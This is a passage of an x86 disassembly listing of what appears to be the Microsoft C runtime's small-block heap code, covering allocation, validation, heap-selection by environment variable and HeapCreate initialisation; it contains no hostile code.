sub edx, [ebp+arg_0]
mov eax, [ebp+var_4]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
lea eax, [edx+ecx+8]
mov ecx, [ebp+var_8]
mov [ecx], eax
mov edx, [ebp+var_8]
mov eax, [edx+4]
sub eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [ecx+4], eax
mov eax, [ebp+var_8]
add eax, 100h
jmp loc_41EFC4
; ---------------------------------------------------------------------------
loc_41EF43: ; CODE XREF: sub_41EC10+220j
xor eax, eax
jmp short loc_41EFC4
; ---------------------------------------------------------------------------
loc_41EF47: ; CODE XREF: sub_41EC10+19Cj
; sub_41EC10+1A9j
mov edx, [ebp+var_20]
mov eax, [edx]
mov [ebp+var_20], eax
cmp [ebp+var_20], offset off_445248
jnz loc_41EDA5
call sub_41E750
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jz short loc_41EFC2
mov ecx, [ebp+var_20]
mov edx, [ecx+10h]
mov [ebp+var_8], edx
mov eax, [ebp+var_8]
mov cl, byte ptr [ebp+arg_0]
mov [eax+8], cl
mov edx, [ebp+var_20]
mov off_447268, edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
lea edx, [ecx+eax+8]
mov eax, [ebp+var_8]
mov [eax], edx
mov ecx, 0F0h
sub ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [edx+4], ecx
mov eax, [ebp+arg_0]
and eax, 0FFh
mov ecx, [ebp+var_20]
mov edx, [ecx+18h]
sub edx, eax
mov eax, [ebp+var_20]
mov [eax+18h], edx
mov eax, [ebp+var_8]
add eax, 100h
jmp short loc_41EFC4
; ---------------------------------------------------------------------------
loc_41EFC2: ; CODE XREF: sub_41EC10+358j
xor eax, eax
loc_41EFC4: ; CODE XREF: sub_41EC10+C1j
; sub_41EC10+164j ...
mov esp, ebp
pop ebp
retn
sub_41EC10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EFD0 proc near ; CODE XREF: sub_41EC10+8Ep
; sub_41EC10+131p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
add eax, 0F8h
mov [ebp+var_14], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
cmp edx, [ebp+arg_8]
jb short loc_41F05D
mov eax, [ebp+var_8]
mov cl, byte ptr [ebp+arg_8]
mov [eax], cl
mov edx, [ebp+var_8]
add edx, [ebp+arg_8]
cmp edx, [ebp+var_14]
jnb short loc_41F02B
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, [ebp+arg_8]
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
sub ecx, [ebp+arg_8]
mov edx, [ebp+arg_0]
mov [edx+4], ecx
jmp short loc_41F040
; ---------------------------------------------------------------------------
loc_41F02B: ; CODE XREF: sub_41EFD0+3Bj
mov eax, [ebp+arg_0]
add eax, 8
mov ecx, [ebp+arg_0]
mov [ecx], eax
mov edx, [ebp+arg_0]
mov dword ptr [edx+4], 0
loc_41F040: ; CODE XREF: sub_41EFD0+59j
mov eax, [ebp+arg_0]
add eax, 8
mov ecx, [ebp+var_8]
sub ecx, eax
shl ecx, 4
mov edx, [ebp+arg_0]
lea eax, [edx+ecx+100h]
jmp loc_41F275
; ---------------------------------------------------------------------------
loc_41F05D: ; CODE XREF: sub_41EFD0+28j
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
mov edx, [ebp+var_8]
xor eax, eax
mov al, [edx+ecx]
test eax, eax
jz short loc_41F07B
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
add edx, [ecx+4]
mov [ebp+var_8], edx
loc_41F07B: ; CODE XREF: sub_41EFD0+9Dj
; sub_41EFD0:loc_41F174j
mov eax, [ebp+var_8]
add eax, [ebp+arg_8]
cmp eax, [ebp+var_14]
jnb loc_41F179
mov ecx, [ebp+var_8]
xor edx, edx
mov dl, [ecx]
test edx, edx
jnz loc_41F165
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_C], eax
mov [ebp+var_10], 1
jmp short loc_41F0BD
; ---------------------------------------------------------------------------
loc_41F0AB: ; CODE XREF: sub_41EFD0+F8j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
loc_41F0BD: ; CODE XREF: sub_41EFD0+D9j
mov eax, [ebp+var_C]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jnz short loc_41F0CA
jmp short loc_41F0AB
; ---------------------------------------------------------------------------
loc_41F0CA: ; CODE XREF: sub_41EFD0+F6j
mov edx, [ebp+var_10]
cmp edx, [ebp+arg_8]
jnb short loc_41F105
mov eax, [ebp+var_8]
cmp eax, [ebp+var_4]
jnz short loc_41F0E5
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_10]
mov [ecx+4], edx
jmp short loc_41F0FD
; ---------------------------------------------------------------------------
loc_41F0E5: ; CODE XREF: sub_41EFD0+108j
mov eax, [ebp+arg_4]
sub eax, [ebp+var_10]
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_41F0FD
xor eax, eax
jmp loc_41F275
; ---------------------------------------------------------------------------
loc_41F0FD: ; CODE XREF: sub_41EFD0+113j
; sub_41EFD0+124j
mov edx, [ebp+var_C]
mov [ebp+var_8], edx
jmp short loc_41F163
; ---------------------------------------------------------------------------
loc_41F105: ; CODE XREF: sub_41EFD0+100j
mov eax, [ebp+var_8]
add eax, [ebp+arg_8]
cmp eax, [ebp+var_14]
jnb short loc_41F129
mov ecx, [ebp+var_8]
add ecx, [ebp+arg_8]
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+var_10]
sub eax, [ebp+arg_8]
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
jmp short loc_41F13E
; ---------------------------------------------------------------------------
loc_41F129: ; CODE XREF: sub_41EFD0+13Ej
mov edx, [ebp+arg_0]
add edx, 8
mov eax, [ebp+arg_0]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+4], 0
loc_41F13E: ; CODE XREF: sub_41EFD0+157j
mov edx, [ebp+var_8]
mov al, byte ptr [ebp+arg_8]
mov [edx], al
mov ecx, [ebp+arg_0]
add ecx, 8
mov edx, [ebp+var_8]
sub edx, ecx
shl edx, 4
mov eax, [ebp+arg_0]
lea eax, [eax+edx+100h]
jmp loc_41F275
; ---------------------------------------------------------------------------
loc_41F163: ; CODE XREF: sub_41EFD0+133j
jmp short loc_41F174
; ---------------------------------------------------------------------------
loc_41F165: ; CODE XREF: sub_41EFD0+C3j
mov ecx, [ebp+var_8]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+var_8]
add eax, edx
mov [ebp+var_8], eax
loc_41F174: ; CODE XREF: sub_41EFD0:loc_41F163j
jmp loc_41F07B
; ---------------------------------------------------------------------------
loc_41F179: ; CODE XREF: sub_41EFD0+B4j
mov ecx, [ebp+arg_0]
add ecx, 8
mov [ebp+var_8], ecx
loc_41F182: ; CODE XREF: sub_41EFD0:loc_41F26Ej
mov edx, [ebp+var_8]
cmp edx, [ebp+var_4]
jnb loc_41F273
mov eax, [ebp+var_8]
add eax, [ebp+arg_8]
cmp eax, [ebp+var_14]
jnb loc_41F273
mov ecx, [ebp+var_8]
xor edx, edx
mov dl, [ecx]
test edx, edx
jnz loc_41F25F
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_C], eax
mov [ebp+var_10], 1
jmp short loc_41F1D0
; ---------------------------------------------------------------------------
loc_41F1BE: ; CODE XREF: sub_41EFD0+20Bj
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
loc_41F1D0: ; CODE XREF: sub_41EFD0+1ECj
mov eax, [ebp+var_C]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jnz short loc_41F1DD
jmp short loc_41F1BE
; ---------------------------------------------------------------------------
loc_41F1DD: ; CODE XREF: sub_41EFD0+209j
mov edx, [ebp+var_10]
cmp edx, [ebp+arg_8]
jnb short loc_41F202
mov eax, [ebp+arg_4]
sub eax, [ebp+var_10]
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_41F1FA
xor eax, eax
jmp short loc_41F275
; ---------------------------------------------------------------------------
loc_41F1FA: ; CODE XREF: sub_41EFD0+224j
mov edx, [ebp+var_C]
mov [ebp+var_8], edx
jmp short loc_41F25D
; ---------------------------------------------------------------------------
loc_41F202: ; CODE XREF: sub_41EFD0+213j
mov eax, [ebp+var_8]
add eax, [ebp+arg_8]
cmp eax, [ebp+var_14]
jnb short loc_41F226
mov ecx, [ebp+var_8]
add ecx, [ebp+arg_8]
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+var_10]
sub eax, [ebp+arg_8]
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
jmp short loc_41F23B
; ---------------------------------------------------------------------------
loc_41F226: ; CODE XREF: sub_41EFD0+23Bj
mov edx, [ebp+arg_0]
add edx, 8
mov eax, [ebp+arg_0]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+4], 0
loc_41F23B: ; CODE XREF: sub_41EFD0+254j
mov edx, [ebp+var_8]
mov al, byte ptr [ebp+arg_8]
mov [edx], al
mov ecx, [ebp+arg_0]
add ecx, 8
mov edx, [ebp+var_8]
sub edx, ecx
shl edx, 4
mov eax, [ebp+arg_0]
lea eax, [eax+edx+100h]
jmp short loc_41F275
; ---------------------------------------------------------------------------
loc_41F25D: ; CODE XREF: sub_41EFD0+230j
jmp short loc_41F26E
; ---------------------------------------------------------------------------
loc_41F25F: ; CODE XREF: sub_41EFD0+1D6j
mov ecx, [ebp+var_8]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+var_8]
add eax, edx
mov [ebp+var_8], eax
loc_41F26E: ; CODE XREF: sub_41EFD0:loc_41F25Dj
jmp loc_41F182
; ---------------------------------------------------------------------------
loc_41F273: ; CODE XREF: sub_41EFD0+1B8j
; sub_41EFD0+1C7j
xor eax, eax
loc_41F275: ; CODE XREF: sub_41EFD0+88j
; sub_41EFD0+128j ...
mov esp, ebp
pop ebp
retn
sub_41EFD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F280 proc near ; CODE XREF: sub_41C020+161p
; sub_41C230+2D1p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 18h
mov [ebp+var_14], 0
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
mov edx, [ebp+arg_0]
lea eax, [edx+ecx*8+18h]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_8]
xor edx, edx
mov dl, [ecx]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
cmp eax, [ebp+arg_C]
jbe short loc_41F2E7
mov ecx, [ebp+arg_8]
mov dl, byte ptr [ebp+arg_C]
mov [ecx], dl
mov eax, [ebp+var_C]
sub eax, [ebp+arg_C]
mov ecx, [ebp+var_4]
mov edx, [ecx]
add edx, eax
mov eax, [ebp+var_4]
mov [eax], edx
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0F1h
mov edx, [ebp+var_14]
add edx, 1
mov [ebp+var_14], edx
jmp loc_41F3DD
; ---------------------------------------------------------------------------
loc_41F2E7: ; CODE XREF: sub_41F280+33j
mov eax, [ebp+var_C]
cmp eax, [ebp+arg_C]
jnb loc_41F3DD
mov ecx, [ebp+arg_8]
add ecx, [ebp+arg_C]
mov edx, [ebp+arg_4]
add edx, 0F8h
cmp ecx, edx
ja loc_41F3DD
mov eax, [ebp+arg_8]
add eax, [ebp+var_C]
mov [ebp+var_10], eax
mov ecx, [ebp+arg_8]
add ecx, [ebp+arg_C]
mov [ebp+var_18], ecx
jmp short loc_41F327
; ---------------------------------------------------------------------------
loc_41F31E: ; CODE XREF: sub_41F280+BAj
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
loc_41F327: ; CODE XREF: sub_41F280+9Cj
mov eax, [ebp+var_10]
cmp eax, [ebp+var_18]
jnb short loc_41F33C
mov ecx, [ebp+var_10]
xor edx, edx
mov dl, [ecx]
test edx, edx
jnz short loc_41F33C
jmp short loc_41F31E
; ---------------------------------------------------------------------------
loc_41F33C: ; CODE XREF: sub_41F280+ADj
; sub_41F280+B8j
mov eax, [ebp+var_10]
cmp eax, [ebp+var_18]
jnz loc_41F3DD
mov ecx, [ebp+arg_8]
mov dl, byte ptr [ebp+arg_C]
mov [ecx], dl
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_8]
cmp ecx, [eax]
ja short loc_41F3C2
mov edx, [ebp+arg_4]
mov eax, [ebp+var_18]
cmp eax, [edx]
jbe short loc_41F3C2
mov ecx, [ebp+arg_4]
add ecx, 0F8h
cmp [ebp+var_18], ecx
jnb short loc_41F3AD
mov edx, [ebp+arg_4]
mov eax, [ebp+var_18]
mov [edx], eax
mov [ebp+var_8], 0
jmp short loc_41F395
; ---------------------------------------------------------------------------
loc_41F383: ; CODE XREF: sub_41F280+120j
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
mov edx, [ebp+var_18]
add edx, 1
mov [ebp+var_18], edx
loc_41F395: ; CODE XREF: sub_41F280+101j
mov eax, [ebp+var_18]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jnz short loc_41F3A2
jmp short loc_41F383
; ---------------------------------------------------------------------------
loc_41F3A2: ; CODE XREF: sub_41F280+11Ej
mov edx, [ebp+arg_4]
mov eax, [ebp+var_8]
mov [edx+4], eax
jmp short loc_41F3C2
; ---------------------------------------------------------------------------
loc_41F3AD: ; CODE XREF: sub_41F280+F0j
mov ecx, [ebp+arg_4]
add ecx, 8
mov edx, [ebp+arg_4]
mov [edx], ecx
mov eax, [ebp+arg_4]
mov dword ptr [eax+4], 0
loc_41F3C2: ; CODE XREF: sub_41F280+D8j
; sub_41F280+E2j ...
mov ecx, [ebp+var_C]
sub ecx, [ebp+arg_C]
mov edx, [ebp+var_4]
mov eax, [edx]
add eax, ecx
mov ecx, [ebp+var_4]
mov [ecx], eax
mov edx, [ebp+var_14]
add edx, 1
mov [ebp+var_14], edx
loc_41F3DD: ; CODE XREF: sub_41F280+62j
; sub_41F280+6Dj ...
mov eax, [ebp+var_14]
mov esp, ebp
pop ebp
retn
sub_41F280 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F3F0 proc near ; CODE XREF: sub_41C820+89p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 28h
mov [ebp+var_8], 0
mov [ebp+var_1C], offset off_445248
loc_41F404: ; CODE XREF: sub_41F3F0+21Ej
mov eax, off_447268
cmp eax, [ebp+var_1C]
jnz short loc_41F417
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
loc_41F417: ; CODE XREF: sub_41F3F0+1Cj
mov edx, [ebp+var_1C]
mov eax, [edx+10h]
mov [ebp+var_4], eax
cmp [ebp+var_4], 0FFFFFFFFh
jz loc_41F5FF
mov [ebp+var_C], 0
mov [ebp+var_28], 0
mov ecx, [ebp+var_1C]
mov edx, [ecx+10h]
mov [ebp+var_4], edx
jmp short loc_41F458
; ---------------------------------------------------------------------------
loc_41F443: ; CODE XREF: sub_41F3F0:loc_41F5FAj
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_4]
add ecx, 1000h
mov [ebp+var_4], ecx
loc_41F458: ; CODE XREF: sub_41F3F0+51j
cmp [ebp+var_C], 400h
jge loc_41F5FF
mov edx, [ebp+var_C]
mov eax, [ebp+var_1C]
cmp dword ptr [eax+edx*8+18h], 0FFFFFFFFh
jnz short loc_41F4A0
cmp [ebp+var_28], 0
jnz short loc_41F492
mov ecx, [ebp+var_C]
mov edx, [ebp+var_1C]
lea eax, [edx+ecx*8+18h]
mov ecx, [ebp+var_1C]
cmp [ecx+0Ch], eax
jz short loc_41F492
or eax, 0FFFFFFFFh
jmp loc_41F623
; ---------------------------------------------------------------------------
loc_41F492: ; CODE XREF: sub_41F3F0+86j
; sub_41F3F0+98j
mov edx, [ebp+var_28]
add edx, 1
mov [ebp+var_28], edx
jmp loc_41F5FA
; ---------------------------------------------------------------------------
loc_41F4A0: ; CODE XREF: sub_41F3F0+80j
mov eax, [ebp+var_4]
add eax, 0F8h
mov ecx, [ebp+var_4]
cmp [ecx], eax
jb short loc_41F4B9
mov eax, 0FFFFFFFEh
jmp loc_41F623
; ---------------------------------------------------------------------------
loc_41F4B9: ; CODE XREF: sub_41F3F0+BDj
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx+0F8h]
cmp eax, 0FFh
jz short loc_41F4D5
mov eax, 0FFFFFFFDh
jmp loc_41F623
; ---------------------------------------------------------------------------
loc_41F4D5: ; CODE XREF: sub_41F3F0+D9j
mov [ebp+var_10], 0
mov [ebp+var_18], 0
mov [ebp+var_24], 0
mov [ebp+var_20], 0
loc_41F4F1: ; CODE XREF: sub_41F3F0:loc_41F5D2j
cmp [ebp+var_10], 0F0h
jge loc_41F5D7
mov ecx, [ebp+var_10]
mov edx, [ebp+var_4]
lea eax, [edx+ecx+8]
mov ecx, [ebp+var_4]
cmp eax, [ecx]
jnz short loc_41F518
mov edx, [ebp+var_18]
add edx, 1
mov [ebp+var_18], edx
loc_41F518: ; CODE XREF: sub_41F3F0+11Dj
mov eax, [ebp+var_4]
add eax, [ebp+var_10]
xor ecx, ecx
mov cl, [eax+8]
test ecx, ecx
jnz short loc_41F547
mov edx, [ebp+var_24]
add edx, 1
mov [ebp+var_24], edx
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
jmp loc_41F5D2
; ---------------------------------------------------------------------------
loc_41F547: ; CODE XREF: sub_41F3F0+135j
mov edx, [ebp+var_C]
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_20]
cmp ecx, [eax+edx*8+1Ch]
jl short loc_41F560
mov eax, 0FFFFFFFCh
jmp loc_41F623
; ---------------------------------------------------------------------------
loc_41F560: ; CODE XREF: sub_41F3F0+164j
cmp [ebp+var_18], 1
jnz short loc_41F584
mov edx, [ebp+var_4]
mov eax, [ebp+var_20]
cmp eax, [edx+4]
jge short loc_41F57B
mov eax, 0FFFFFFFBh
jmp loc_41F623
; ---------------------------------------------------------------------------
loc_41F57B: ; CODE XREF: sub_41F3F0+17Fj
mov ecx, [ebp+var_18]
add ecx, 1
mov [ebp+var_18], ecx
loc_41F584: ; CODE XREF: sub_41F3F0+174j
mov [ebp+var_20], 0
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_14], edx
jmp short loc_41F59F
; ---------------------------------------------------------------------------
loc_41F596: ; CODE XREF: sub_41F3F0:loc_41F5CAj
mov eax, [ebp+var_14]
add eax, 1
mov [ebp+var_14], eax
loc_41F59F: ; CODE XREF: sub_41F3F0+1A4j
mov ecx, [ebp+var_4]
add ecx, [ebp+var_10]
xor edx, edx
mov dl, [ecx+8]
mov eax, [ebp+var_10]
add eax, edx
cmp [ebp+var_14], eax
jge short loc_41F5CC
mov ecx, [ebp+var_4]
add ecx, [ebp+var_14]
xor edx, edx
mov dl, [ecx+8]
test edx, edx
jz short loc_41F5CA
mov eax, 0FFFFFFFAh
jmp short loc_41F623
; ---------------------------------------------------------------------------
loc_41F5CA: ; CODE XREF: sub_41F3F0+1D1j
jmp short loc_41F596
; ---------------------------------------------------------------------------
loc_41F5CC: ; CODE XREF: sub_41F3F0+1C2j
mov eax, [ebp+var_14]
mov [ebp+var_10], eax
loc_41F5D2: ; CODE XREF: sub_41F3F0+152j
jmp loc_41F4F1
; ---------------------------------------------------------------------------
loc_41F5D7: ; CODE XREF: sub_41F3F0+108j
mov ecx, [ebp+var_C]
mov edx, [ebp+var_1C]
mov eax, [ebp+var_24]
cmp eax, [edx+ecx*8+18h]
jz short loc_41F5ED
mov eax, 0FFFFFFF9h
jmp short loc_41F623
; ---------------------------------------------------------------------------
loc_41F5ED: ; CODE XREF: sub_41F3F0+1F4j
cmp [ebp+var_18], 0
jnz short loc_41F5FA
mov eax, 0FFFFFFF8h
jmp short loc_41F623
; ---------------------------------------------------------------------------
loc_41F5FA: ; CODE XREF: sub_41F3F0+ABj
; sub_41F3F0+201j
jmp loc_41F443
; ---------------------------------------------------------------------------
loc_41F5FF: ; CODE XREF: sub_41F3F0+34j
; sub_41F3F0+6Fj
mov ecx, [ebp+var_1C]
mov edx, [ecx]
mov [ebp+var_1C], edx
cmp [ebp+var_1C], offset off_445248
jnz loc_41F404
cmp [ebp+var_8], 0
jnz short loc_41F621
mov eax, 0FFFFFFF7h
jmp short loc_41F623
; ---------------------------------------------------------------------------
loc_41F621: ; CODE XREF: sub_41F3F0+228j
xor eax, eax
loc_41F623: ; CODE XREF: sub_41F3F0+9Dj
; sub_41F3F0+C4j ...
mov esp, ebp
pop ebp
retn
sub_41F3F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F630 proc near ; CODE XREF: .data:0041C9F2p
; sub_41F690+1FBp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
mov dword ptr [eax], 0
push 0
call dword_4E0360 ; GetModuleHandleA
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
xor edx, edx
mov dx, [ecx]
cmp edx, 5A4Dh
jnz short loc_41F663
mov eax, [ebp+var_8]
cmp dword ptr [eax+3Ch], 0
jnz short loc_41F665
loc_41F663: ; CODE XREF: sub_41F630+28j
jmp short loc_41F688
; ---------------------------------------------------------------------------
loc_41F665: ; CODE XREF: sub_41F630+31j
mov ecx, [ebp+var_8]
mov edx, [ebp+var_8]
add edx, [ecx+3Ch]
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
mov dl, [ecx+1Ah]
mov [eax], dl
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
mov dl, [ecx+1Bh]
mov [eax+1], dl
loc_41F688: ; CODE XREF: sub_41F630:loc_41F663j
mov esp, ebp
pop ebp
retn
sub_41F630 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F690 proc near ; CODE XREF: sub_41F8C0:loc_41F8ECp
var_1238 = dword ptr -1238h
var_1234 = dword ptr -1234h
var_1230 = dword ptr -1230h
var_122C = byte ptr -122Ch
var_1128 = byte ptr -1128h
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_4 = dword ptr -4
push ebp
mov ebp, esp
mov eax, 1238h
call sub_4181D0
mov [ebp+var_1238], 0
mov [ebp+var_98], 94h
lea eax, [ebp+var_98]
push eax
call dword_4E039C ; GetVersionExA
test eax, eax
jz short loc_41F6DE
cmp [ebp+var_88], 2
jnz short loc_41F6DE
cmp [ebp+var_94], 5
jb short loc_41F6DE
mov eax, 1
jmp loc_41F8B0
; ---------------------------------------------------------------------------
loc_41F6DE: ; CODE XREF: sub_41F690+30j
; sub_41F690+39j ...
push 1090h
lea ecx, [ebp+var_1128]
push ecx
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
call dword_4E048C ; GetEnvironmentVariableA
test eax, eax
jz loc_41F884
lea edx, [ebp+var_1128]
mov [ebp+var_4], edx
jmp short loc_41F711
; ---------------------------------------------------------------------------
loc_41F708: ; CODE XREF: sub_41F690:loc_41F73Ej
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_41F711: ; CODE XREF: sub_41F690+76j
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_41F740
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 61h
jl short loc_41F73E
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 7Ah
jg short loc_41F73E
mov ecx, [ebp+var_4]
mov dl, [ecx]
add dl, 0E0h
mov eax, [ebp+var_4]
mov [eax], dl
loc_41F73E: ; CODE XREF: sub_41F690+94j
; sub_41F690+9Fj
jmp short loc_41F708
; ---------------------------------------------------------------------------
loc_41F740: ; CODE XREF: sub_41F690+89j
push 16h
lea ecx, [ebp+var_1128]
push ecx
push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
call sub_418830
add esp, 0Ch
test eax, eax
jnz short loc_41F768
lea edx, [ebp+var_1128]
mov [ebp+var_1238], edx
jmp short loc_41F7DB
; ---------------------------------------------------------------------------
loc_41F768: ; CODE XREF: sub_41F690+C8j
push 104h
lea eax, [ebp+var_122C]
push eax
push 0
call dword_4E0334 ; GetModuleFileNameA
lea ecx, [ebp+var_122C]
mov [ebp+var_4], ecx
jmp short loc_41F790
; ---------------------------------------------------------------------------
loc_41F787: ; CODE XREF: sub_41F690:loc_41F7BDj
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_41F790: ; CODE XREF: sub_41F690+F5j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_41F7BF
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 61h
jl short loc_41F7BD
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 7Ah
jg short loc_41F7BD
mov eax, [ebp+var_4]
mov cl, [eax]
add cl, 0E0h
mov edx, [ebp+var_4]
mov [edx], cl
loc_41F7BD: ; CODE XREF: sub_41F690+113j
; sub_41F690+11Ej
jmp short loc_41F787
; ---------------------------------------------------------------------------
loc_41F7BF: ; CODE XREF: sub_41F690+108j
lea eax, [ebp+var_122C]
push eax
lea ecx, [ebp+var_1128]
push ecx
call sub_417E00
add esp, 8
mov [ebp+var_1238], eax
loc_41F7DB: ; CODE XREF: sub_41F690+D6j
cmp [ebp+var_1238], 0
jz loc_41F884
push 2Ch
mov edx, [ebp+var_1238]
push edx
call sub_418970
add esp, 8
mov [ebp+var_1238], eax
cmp [ebp+var_1238], 0
jz short loc_41F884
mov eax, [ebp+var_1238]
add eax, 1
mov [ebp+var_1238], eax
mov ecx, [ebp+var_1238]
mov [ebp+var_4], ecx
loc_41F820: ; CODE XREF: sub_41F690:loc_41F846j
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_41F848
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 3Bh
jnz short loc_41F83D
mov eax, [ebp+var_4]
mov byte ptr [eax], 0
jmp short loc_41F846
; ---------------------------------------------------------------------------
loc_41F83D: ; CODE XREF: sub_41F690+1A3j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_41F846: ; CODE XREF: sub_41F690+1ABj
jmp short loc_41F820
; ---------------------------------------------------------------------------
loc_41F848: ; CODE XREF: sub_41F690+198j
push 0Ah
push 0
mov edx, [ebp+var_1238]
push edx
call sub_418200
add esp, 0Ch
mov [ebp+var_1230], eax
cmp [ebp+var_1230], 2
jz short loc_41F87C
cmp [ebp+var_1230], 3
jz short loc_41F87C
cmp [ebp+var_1230], 1
jnz short loc_41F884
loc_41F87C: ; CODE XREF: sub_41F690+1D8j
; sub_41F690+1E1j
mov eax, [ebp+var_1230]
jmp short loc_41F8B0
; ---------------------------------------------------------------------------
loc_41F884: ; CODE XREF: sub_41F690+67j
; sub_41F690+152j ...
lea eax, [ebp+var_1234]
push eax
call sub_41F630
add esp, 4
mov ecx, [ebp+var_1234]
and ecx, 0FFh
cmp ecx, 6
jl short loc_41F8AB
mov eax, 3
jmp short loc_41F8B0
; ---------------------------------------------------------------------------
loc_41F8AB: ; CODE XREF: sub_41F690+212j
mov eax, 2
loc_41F8B0: ; CODE XREF: sub_41F690+49j
; sub_41F690+1F2j ...
mov esp, ebp
pop ebp
retn
sub_41F690 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F8C0 proc near ; CODE XREF: sub_41AB00+7Ep
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
push 1000h
xor eax, eax
cmp [ebp+arg_0], 0
setz al
push eax
call dword_4E0494 ; HeapCreate
mov dword_4DE648, eax
cmp dword_4DE648, 0
jnz short loc_41F8EC
xor eax, eax
jmp short loc_41F94B
; ---------------------------------------------------------------------------
loc_41F8EC: ; CODE XREF: sub_41F8C0+26j
